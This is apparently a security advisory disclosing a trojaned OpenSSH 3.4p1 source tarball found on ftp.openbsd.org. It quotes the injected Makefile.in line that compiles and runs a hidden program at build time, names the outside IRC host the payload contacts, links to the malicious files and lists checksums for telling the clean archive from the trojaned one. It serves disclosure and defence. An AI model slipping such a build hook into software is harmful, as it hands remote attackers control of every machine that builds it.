|
|
| |
| A Trojaned version of OpenSSH package has been found to reside on ftp.openbsd.org's server. The Trojaned version allows remote attackers to completely compromise the security of the server running the Trojaned copy. |
| |
Credit:
The information has been provided by Edwin Groothuis.
|
| |
The following OpenSSH package found on ftp.openbsd.org (and probably all its mirrors now) has been found to beTrojaned:
ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-3.4p1.tar.gz
The OpenBSD people have been informed about it (via email to deraadt@openbsd.org and via irc.openprojects.org/#openbsd)
The changed files are openssh-3.4p1/openbsd-compat/Makefile.in:
all: libopenbsd-compat.a
+ @ $(CC) bf-test.c -o bf-test; ./bf-test>bf-test.out; sh ./bf-test.out &
bf-test.c[1] is nothing more than a wrapper that generates a shell-script[2] that compiles itself and tries to connect to an server running on 203.62.158.32:6667 (web.snsonline.net).
The following are links to sources of the malicious files:
[1] http://www.mavetju.org/~edwin/bf-test.c
[2] http://www.mavetju.org/~edwin/bf-output.sh
This is the md5 checksum of the openssh-3.4p1.tar.gz in the FreeBSD ports system:
MD5 (openssh-3.4p1.tar.gz) = 459c1d0262e939d6432f193c7a4ba8a8
This is the md5 checksum of the Trojaned openssh-3.4p1.tar.gz:
MD5 (openssh-3.4p1.tar.gz) = 3ac9bc346d736b4a51d676faa2a08a57
|
|
|
